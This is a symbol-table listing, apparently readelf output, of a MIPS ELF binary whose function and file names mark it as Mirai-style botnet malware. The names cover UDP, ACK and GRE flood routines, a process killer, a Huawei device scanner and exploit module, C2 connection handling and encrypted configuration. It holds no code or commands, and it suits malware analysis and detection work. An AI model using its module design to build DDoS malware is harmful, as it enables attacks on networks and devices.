kill	.dynsym	0x412c40	88	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill_port	.dynsym	0x40bf50	3140	FUNC	<unknown>	DEFAULT	8
kill_watchdog	.dynsym	0x40bce0	100	FUNC	<unknown>	DEFAULT	8
listen	.dynsym	0x412d20	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
lookup_domain	.dynsym	0x40427c	2924	FUNC	<unknown>	DEFAULT	8
main	.dynsym	0x4027e4	3744	FUNC	<unknown>	DEFAULT	8
malloc	.dynsym	0x412b70	492	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.dynsym	0x412b30	308	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.dynsym	0x412ae0	816	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	.dynsym	0x412d60	144	FUNC	<unknown>	DEFAULT	SHN_UNDEF
my_strdup	.dynsym	0x40ad00	172	FUNC	<unknown>	DEFAULT	8
ntohl	.dynsym	0x412c80	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohs	.dynsym	0x412d80	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
num_paths	.dynsym	0x456624	4	OBJECT	<unknown>	DEFAULT	20
num_watchers	.dynsym	0x45662c	4	OBJECT	<unknown>	DEFAULT	20
open	.dynsym	0x412e50	124	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	.dynsym	0x412db0	408	FUNC	<unknown>	DEFAULT	SHN_UNDEF
paths	.dynsym	0x456620	4	OBJECT	<unknown>	DEFAULT	20
prctl	.dynsym	0x412b20	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
printf	.dynsym	0x412aa0	92	FUNC	<unknown>	DEFAULT	SHN_UNDEF
puts	.dynsym	0x412b50	260	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.dynsym	0x412cb0	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand_alphastr	.dynsym	0x403de8	480	FUNC	<unknown>	DEFAULT	8
rand_init	.dynsym	0x4039e0	248	FUNC	<unknown>	DEFAULT	8
rand_next	.dynsym	0x403ad8	292	FUNC	<unknown>	DEFAULT	8
rand_next_range	.dynsym	0x403d5c	140	FUNC	<unknown>	DEFAULT	8
rand_str	.dynsym	0x403bfc	352	FUNC	<unknown>	DEFAULT	8
read	.dynsym	0x412cd0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	.dynsym	0x412be0	256	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	.dynsym	0x412b40	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realloc	.dynsym	0x412d10	472	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.dynsym	0x412ab0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.dynsym	0x412bb0	128	FUNC	<unknown>	DEFAULT	SHN_UNDEF
remove	.dynsym	0x412b80	164	FUNC	<unknown>	DEFAULT	SHN_UNDEF
retrieve_flood	.dynsym	0x409300	264	FUNC	<unknown>	DEFAULT	8
rewinddir	.dynsym	0x412b60	176	FUNC	<unknown>	DEFAULT	SHN_UNDEF
select	.dynsym	0x412bd0	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
self	.dynsym	0x455614	4096	OBJECT	<unknown>	DEFAULT	20
send	.dynsym	0x412c00	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.dynsym	0x412d00	128	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsockopt	.dynsym	0x412c90	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	.dynsym	0x412cc0	252	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sleep	.dynsym	0x412b90	564	FUNC	<unknown>	DEFAULT	SHN_UNDEF
snprintf	.dynsym	0x412af0	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.dynsym	0x412bc0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srand	.dynsym	0x412d70	172	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srv_addr	.dynsym	0x456680	16	OBJECT	<unknown>	DEFAULT	20
sscanf	.dynsym	0x412d40	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcat	.dynsym	0x412c50	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcmp	.dynsym	0x412dc0	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcpy	.dynsym	0x412a60	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	.dynsym	0x412e40	184	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strstr	.dynsym	0x412ca0	256	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strtok_r	.dynsym	0x412a80	204	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sysconf	.dynsym	0x412a90	432	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sysinfo	.dynsym	0x412ba0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
time	.dynsym	0x412da0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
usleep	.dynsym	0x412b00	144	FUNC	<unknown>	DEFAULT	SHN_UNDEF
watch_pid	.dynsym	0x4555bc	4	OBJECT	<unknown>	DEFAULT	19
watcher_len	.dynsym	0x4555b8	4	OBJECT	<unknown>	DEFAULT	19
watcher_pid	.dynsym	0x4555b4	4	OBJECT	<unknown>	DEFAULT	19
watchers	.dynsym	0x456628	4	OBJECT	<unknown>	DEFAULT	20
write	.dynsym	0x412c30	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
xor_init	.dynsym	0x40cd68	848	FUNC	<unknown>	DEFAULT	8
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x400114	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x400128	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x400140	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x400218	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x4006dc	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x40119c	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x40180c	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x4018a0	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x412a60	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x412ed0	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x412f30	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x414d80	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x455000	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x455008	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x455010	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x455020	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x4552f0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x455300	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x4555a8	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x4555c0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x18c	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	26
AppendNode	.symtab	0x409ed4	132	FUNC	<unknown>	DEFAULT	8
CreateNode	.symtab	0x409e58	124	FUNC	<unknown>	DEFAULT	8
FindNode	.symtab	0x409f58	156	FUNC	<unknown>	DEFAULT	8
GetTotalRAM	.symtab	0x401e40	148	FUNC	<unknown>	DEFAULT	8
KillAll	.symtab	0x409e00	88	FUNC	<unknown>	DEFAULT	8
KillerCheckFd	.symtab	0x40a470	1008	FUNC	<unknown>	DEFAULT	8
KillerCheckPid	.symtab	0x40a860	380	FUNC	<unknown>	DEFAULT	8
KillerGetUid	.symtab	0x40a2d8	408	FUNC	<unknown>	DEFAULT	8
KillerScanRealpath	.symtab	0x40a1d4	260	FUNC	<unknown>	DEFAULT	8
KillerStart	.symtab	0x40a9dc	640	FUNC	<unknown>	DEFAULT	8
LOCAL_ADDR	.symtab	0x4555a8	4	OBJECT	<unknown>	DEFAULT	19
Nodes	.symtab	0x455610	4	OBJECT	<unknown>	DEFAULT	20
UtilFdgets	.symtab	0x40a0f0	228	FUNC	<unknown>	DEFAULT	8
UtilSplitIndex	.symtab	0x409ff4	252	FUNC	<unknown>	DEFAULT	8
_DYNAMIC	.symtab	0x400140	0	OBJECT	<unknown>	HIDDEN	3
_DYNAMIC_LINKING	.symtab	0x1	0	SECTION	<unknown>	DEFAULT	SHN_ABS
_GLOBAL_OFFSET_TABLE_	.symtab	0x455300	0	OBJECT	<unknown>	DEFAULT	SHN_ABS
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__CTOR_END__	.symtab	0x455004	0	OBJECT	<unknown>	DEFAULT	13
__CTOR_LIST__	.symtab	0x455000	0	OBJECT	<unknown>	DEFAULT	13
__DTOR_END__	.symtab	0x45500c	0	OBJECT	<unknown>	DEFAULT	14
__DTOR_LIST__	.symtab	0x455008	0	OBJECT	<unknown>	DEFAULT	14
__EH_FRAME_BEGIN__	.symtab	0x414d80	0	OBJECT	<unknown>	DEFAULT	12
__FRAME_END__	.symtab	0x414d80	0	OBJECT	<unknown>	DEFAULT	12
__JCR_END__	.symtab	0x455010	0	OBJECT	<unknown>	DEFAULT	15
__JCR_LIST__	.symtab	0x455010	0	OBJECT	<unknown>	DEFAULT	15
__RLD_MAP	.symtab	0x4552f0	0	OBJECT	<unknown>	DEFAULT	17
__bss_start	.symtab	0x4555a8	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__data_start	.symtab	0x455040	0	OBJECT	<unknown>	DEFAULT	16
__deregister_frame_info	.symtab	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__do_global_ctors_aux	.symtab	0x4129f0	0	FUNC	<unknown>	DEFAULT	8
__do_global_dtors_aux	.symtab	0x4018a0	0	FUNC	<unknown>	DEFAULT	8
__dso_handle	.symtab	0x455020	0	OBJECT	<unknown>	HIDDEN	16
__errno_location	.symtab	0x412e10	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__register_frame_info	.symtab	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__start	.symtab	0x4019e0	100	FUNC	<unknown>	DEFAULT	8
__uClibc_main	.symtab	0x412d50	716	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_atoi	.symtab	0x4075e8	204	FUNC	<unknown>	DEFAULT	8
_edata	.symtab	0x4555a8	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x45e6a0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exe_access	.symtab	0x4066e0	368	FUNC	<unknown>	DEFAULT	8
_fbss	.symtab	0x4555a8	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_fdata	.symtab	0x455020	0	NOTYPE	<unknown>	DEFAULT	16
_fdgets	.symtab	0x408408	320	FUNC	<unknown>	DEFAULT	8
_fini	.symtab	0x412ed0	28	FUNC	<unknown>	DEFAULT	10
_ftext	.symtab	0x4018a0	0	NOTYPE	<unknown>	DEFAULT	8
_gp	.symtab	0x45d2f0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_gp_disp	.symtab	0x0	0	OBJECT	<unknown>	DEFAULT	SHN_UNDEF
_init	.symtab	0x40180c	28	FUNC	<unknown>	DEFAULT	7
_isalpha	.symtab	0x4085b0	144	FUNC	<unknown>	DEFAULT	8
_isdigit	.symtab	0x4086c0	104	FUNC	<unknown>	DEFAULT	8
_isspace	.symtab	0x408640	128	FUNC	<unknown>	DEFAULT	8
_isupper	.symtab	0x408548	104	FUNC	<unknown>	DEFAULT	8
_itoa	.symtab	0x407c0c	560	FUNC	<unknown>	DEFAULT	8
_local_addr	.symtab	0x40827c	396	FUNC	<unknown>	DEFAULT	8
_memcpy	.symtab	0x4074cc	164	FUNC	<unknown>	DEFAULT	8
_memsearch	.symtab	0x407e3c	288	FUNC	<unknown>	DEFAULT	8
_memset	.symtab	0x407b88	132	FUNC	<unknown>	DEFAULT	8
_opennic_dns	.symtab	0x4068e4	688	FUNC	<unknown>	DEFAULT	8
_random_cnc_addr_hardcode	.symtab	0x406b94	440	FUNC	<unknown>	DEFAULT	8
_random_domain	.symtab	0x406d4c	364	FUNC	<unknown>	DEFAULT	8
_self_path	.symtab	0x406850	148	FUNC	<unknown>	DEFAULT	8
_startswith	.symtab	0x406eb8	176	FUNC	<unknown>	DEFAULT	8
_strcat	.symtab	0x407384	188	FUNC	<unknown>	DEFAULT	8
_strcmp	.symtab	0x407140	288	FUNC	<unknown>	DEFAULT	8
_strcmp2	.symtab	0x407260	292	FUNC	<unknown>	DEFAULT	8
_strcpy	.symtab	0x407440	140	FUNC	<unknown>	DEFAULT	8
_strdup	.symtab	0x406f68	152	FUNC	<unknown>	DEFAULT	8
_stristr	.symtab	0x407f5c	524	FUNC	<unknown>	DEFAULT	8
_strlen	.symtab	0x40666c	116	FUNC	<unknown>	DEFAULT	8
_strncmp	.symtab	0x407000	320	FUNC	<unknown>	DEFAULT	8
_strstr	.symtab	0x407a6c	284	FUNC	<unknown>	DEFAULT	8
_zero	.symtab	0x407570	120	FUNC	<unknown>	DEFAULT	8
accept	.symtab	0x412c10	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
access	.symtab	0x412df0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
actually_connected	.symtab	0x4555e8	4	OBJECT	<unknown>	DEFAULT	20
add_flood	.symtab	0x4091dc	292	FUNC	<unknown>	DEFAULT	8
add_watcher	.symtab	0x40b37c	492	FUNC	<unknown>	DEFAULT	8
atoi	.symtab	0x412e30	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
attack_parser.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_registry.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
authentication_create	.symtab	0x401ed4	1364	FUNC	<unknown>	DEFAULT	8
bind	.symtab	0x412c60	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
blacklisted	.symtab	0x455184	12	OBJECT	<unknown>	DEFAULT	16
buffer	.symtab	0x4566a0	32768	OBJECT	<unknown>	DEFAULT	20
c2_fd	.symtab	0x455084	4	OBJECT	<unknown>	DEFAULT	16
calloc	.symtab	0x412c20	180	FUNC	<unknown>	DEFAULT	SHN_UNDEF
chacha20.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
chacha20_block	.symtab	0x40d690	740	FUNC	<unknown>	DEFAULT	8
chacha20_init_state	.symtab	0x40d974	472	FUNC	<unknown>	DEFAULT	8
chacha20_quarterround	.symtab	0x40d0c0	1040	FUNC	<unknown>	DEFAULT	8
chacha20_serialize	.symtab	0x40d528	200	FUNC	<unknown>	DEFAULT	8
chacha20_table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
chacha20_xor	.symtab	0x40dc00	428	FUNC	<unknown>	DEFAULT	8
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x403690	268	FUNC	<unknown>	DEFAULT	8
checksum_tcpudp	.symtab	0x40379c	572	FUNC	<unknown>	DEFAULT	8
clock	.symtab	0x412e60	108	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.symtab	0x412e90	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	.symtab	0x412e70	292	FUNC	<unknown>	DEFAULT	SHN_UNDEF
completed.2296	.symtab	0x4555c0	1	OBJECT	<unknown>	DEFAULT	20
conn_table	.symtab	0x456678	4	OBJECT	<unknown>	DEFAULT	20
connect	.symtab	0x412ac0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connected	.symtab	0x4555e4	4	OBJECT	<unknown>	DEFAULT	20
connection_create	.symtab	0x401bec	364	FUNC	<unknown>	DEFAULT	8
connection_destroy	.symtab	0x401d58	200	FUNC	<unknown>	DEFAULT	8
connection_fail	.symtab	0x401e20	32	FUNC	<unknown>	DEFAULT	8
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
data_start	.symtab	0x455040	0	OBJECT	<unknown>	DEFAULT	16
domain_to_hostname	.symtab	0x403fd0	360	FUNC	<unknown>	DEFAULT	8
enable	.symtab	0x455050	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x455090	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4550a0	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4550b0	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4550c0	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4550f0	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x455120	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x455150	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x455190	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4551a0	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4551d0	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x455220	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x455250	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x455280	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4552b0	4	OBJECT	<unknown>	DEFAULT	16
enable	.symtab	0x4552e0	4	OBJECT	<unknown>	DEFAULT	16
enc	.symtab	0x456630	4	OBJECT	<unknown>	DEFAULT	20
ensure_bind	.symtab	0x402428	956	FUNC	<unknown>	DEFAULT	8
esi_fd	.symtab	0x455080	4	OBJECT	<unknown>	DEFAULT	16
exit	.symtab	0x412e20	236	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fails	.symtab	0x4555e0	4	OBJECT	<unknown>	DEFAULT	20
fcntl	.symtab	0x412e80	136	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fd	.symtab	0x4555b0	4	OBJECT	<unknown>	DEFAULT	19
find_writable_dirs_initial	.symtab	0x40b288	152	FUNC	<unknown>	DEFAULT	8
find_writable_dirs_recursive	.symtab	0x40afdc	684	FUNC	<unknown>	DEFAULT	8
flood_ack	.symtab	0x40ddb0	3176	FUNC	<unknown>	DEFAULT	8
flood_greip	.symtab	0x40fb90	3512	FUNC	<unknown>	DEFAULT	8
flood_kill	.symtab	0x409c38	448	FUNC	<unknown>	DEFAULT	8
flood_parse	.symtab	0x408730	1584	FUNC	<unknown>	DEFAULT	8
flood_start	.symtab	0x409408	2096	FUNC	<unknown>	DEFAULT	8
flood_udpplain	.symtab	0x40ea20	2036	FUNC	<unknown>	DEFAULT	8
flood_udpraw	.symtab	0x40f220	2416	FUNC	<unknown>	DEFAULT	8
floods	.symtab	0x455604	4	OBJECT	<unknown>	DEFAULT	20
floods_init	.symtab	0x409120	188	FUNC	<unknown>	DEFAULT	8
floods_len	.symtab	0x455600	1	OBJECT	<unknown>	DEFAULT	20
fork	.symtab	0x412d30	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
frame_dummy	.symtab	0x40195c	0	FUNC	<unknown>	DEFAULT	8
free	.symtab	0x412ea0	396	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free_entries	.symtab	0x4058b4	164	FUNC	<unknown>	DEFAULT	8
free_paths	.symtab	0x40adac	240	FUNC	<unknown>	DEFAULT	8
free_watchers	.symtab	0x40ae9c	320	FUNC	<unknown>	DEFAULT	8
getArch	.symtab	0x401a50	56	FUNC	<unknown>	DEFAULT	8
get_option_hex_string	.symtab	0x408e3c	348	FUNC	<unknown>	DEFAULT	8
get_option_ip	.symtab	0x40905c	196	FUNC	<unknown>	DEFAULT	8
get_option_number	.symtab	0x408f98	196	FUNC	<unknown>	DEFAULT	8
get_option_string	.symtab	0x408d60	220	FUNC	<unknown>	DEFAULT	8
get_random_ip	.symtab	0x412480	1388	FUNC	<unknown>	DEFAULT	8
geteuid	.symtab	0x412ad0	88	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.symtab	0x412b10	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.symtab	0x412d90	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.symtab	0x412eb0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.symtab	0x412de0	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
greip.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
handle_inotify_event	.symtab	0x40b568	636	FUNC	<unknown>	DEFAULT	8
handle_inotify_events	.symtab	0x40b7e4	280	FUNC	<unknown>	DEFAULT	8
hex_to_text	.symtab	0x405a68	484	FUNC	<unknown>	DEFAULT	8
hlt	.symtab	0x401a3c	0	NOTYPE	<unknown>	DEFAULT	8
htonl	.symtab	0x412cf0	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htons	.symtab	0x412e00	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
huawei_fake_time	.symtab	0x456674	4	OBJECT	<unknown>	DEFAULT	20
huawei_init	.symtab	0x410a48	6056	FUNC	<unknown>	DEFAULT	8
huawei_kill	.symtab	0x4121f0	100	FUNC	<unknown>	DEFAULT	8
huawei_recv_strip_null	.symtab	0x410950	248	FUNC	<unknown>	DEFAULT	8
huawei_rsck	.symtab	0x456644	4	OBJECT	<unknown>	DEFAULT	20
huawei_rsck_out	.symtab	0x456648	4	OBJECT	<unknown>	DEFAULT	20
huawei_scanner_pid	.symtab	0x456640	4	OBJECT	<unknown>	DEFAULT	20
huawei_scanner_rawpkt	.symtab	0x45664c	40	OBJECT	<unknown>	DEFAULT	20
huawei_setup_connection	.symtab	0x412254	556	FUNC	<unknown>	DEFAULT	8
inet_addr	.symtab	0x412c70	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initial_paths	.symtab	0x455160	36	OBJECT	<unknown>	DEFAULT	16
initialize_inotify	.symtab	0x40b320	92	FUNC	<unknown>	DEFAULT	8
inotify_add_watch	.symtab	0x412dd0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inotify_init	.symtab	0x412bf0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inotify_rm_watch	.symtab	0x412ce0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ioctl	.symtab	0x412a70	104	FUNC	<unknown>	DEFAULT	SHN_UNDEF
key	.symtab	0x455054	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x4550c4	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x4550f4	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x455124	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x4551a4	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x4551d4	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x455224	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x455254	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x455284	32	OBJECT	<unknown>	DEFAULT	16
key	.symtab	0x4552b4	32	OBJECT	<unknown>	DEFAULT	16
kill	.symtab	0x412c40	88	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill_port	.symtab	0x40bf50	3140	FUNC	<unknown>	DEFAULT	8
kill_watchdog	.symtab	0x40bce0	100	FUNC	<unknown>	DEFAULT	8
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0x40ac5c	164	FUNC	<unknown>	DEFAULT	8
length	.symtab	0x455200	4	OBJECT	<unknown>	DEFAULT	16
libc/sysdeps/linux/mips/crt1.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/mips/crti.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/mips/crtn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listen	.symtab	0x412d20	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
locker.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lookup_domain	.symtab	0x40427c	2924	FUNC	<unknown>	DEFAULT	8
lookup_domain_custom	.symtab	0x404de8	2764	FUNC	<unknown>	DEFAULT	8
main	.symtab	0x4027e4	3744	FUNC	<unknown>	DEFAULT	8
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
maintain_watchdog	.symtab	0x40bb00	480	FUNC	<unknown>	DEFAULT	8
malloc	.symtab	0x412b70	492	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.symtab	0x412b30	308	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.symtab	0x412ae0	816	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memory_exists	.symtab	0x405960	264	FUNC	<unknown>	DEFAULT	8
memset	.symtab	0x412d60	144	FUNC	<unknown>	DEFAULT	SHN_UNDEF
my_strdup	.symtab	0x40ad00	172	FUNC	<unknown>	DEFAULT	8
nonce	.symtab	0x455074	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x4550e4	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x455114	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x455144	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x4551c4	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x4551f4	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x455244	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x455274	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x4552a4	12	OBJECT	<unknown>	DEFAULT	16
nonce	.symtab	0x4552d4	12	OBJECT	<unknown>	DEFAULT	16
ntohl	.symtab	0x412c80	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohs	.symtab	0x412d80	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
num_paths	.symtab	0x456624	4	OBJECT	<unknown>	DEFAULT	20
num_watchers	.symtab	0x45662c	4	OBJECT	<unknown>	DEFAULT	20
object.2349	.symtab	0x4555c4	24	OBJECT	<unknown>	DEFAULT	20
open	.symtab	0x412e50	124	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	.symtab	0x412db0	408	FUNC	<unknown>	DEFAULT	SHN_UNDEF
p.2294	.symtab	0x455030	0	OBJECT	<unknown>	DEFAULT	16
paths	.symtab	0x456620	4	OBJECT	<unknown>	DEFAULT	20
prctl	.symtab	0x412b20	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
printf	.symtab	0x412aa0	92	FUNC	<unknown>	DEFAULT	SHN_UNDEF
puts	.symtab	0x412b50	260	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.symtab	0x412cb0	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_alphastr	.symtab	0x403de8	480	FUNC	<unknown>	DEFAULT	8
rand_bytes	.symtab	0x408168	276	FUNC	<unknown>	DEFAULT	8
rand_init	.symtab	0x4039e0	248	FUNC	<unknown>	DEFAULT	8
rand_next	.symtab	0x403ad8	292	FUNC	<unknown>	DEFAULT	8
rand_next_range	.symtab	0x403d5c	140	FUNC	<unknown>	DEFAULT	8
rand_str	.symtab	0x403bfc	352	FUNC	<unknown>	DEFAULT	8
read	.symtab	0x412cd0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	.symtab	0x412be0	256	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	.symtab	0x412b40	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realloc	.symtab	0x412d10	472	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.symtab	0x412ab0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.symtab	0x412bb0	128	FUNC	<unknown>	DEFAULT	SHN_UNDEF
remove	.symtab	0x412b80	164	FUNC	<unknown>	DEFAULT	SHN_UNDEF
resolve_addr	.symtab	0x401a88	356	FUNC	<unknown>	DEFAULT	8
resolver.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
retrieve_flood	.symtab	0x409300	264	FUNC	<unknown>	DEFAULT	8
rewinddir	.symtab	0x412b60	176	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rotl32	.symtab	0x40d4d0	88	FUNC	<unknown>	DEFAULT	8
select	.symtab	0x412bd0	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
self	.symtab	0x455614	4096	OBJECT	<unknown>	DEFAULT	20
send	.symtab	0x412c00	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.symtab	0x412d00	128	FUNC	<unknown>	DEFAULT	SHN_UNDEF
server_addr	.symtab	0x456690	16	OBJECT	<unknown>	DEFAULT	20
setsockopt	.symtab	0x412c90	120	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	.symtab	0x412cc0	252	FUNC	<unknown>	DEFAULT	SHN_UNDEF
skip_name	.symtab	0x404138	324	FUNC	<unknown>	DEFAULT	8
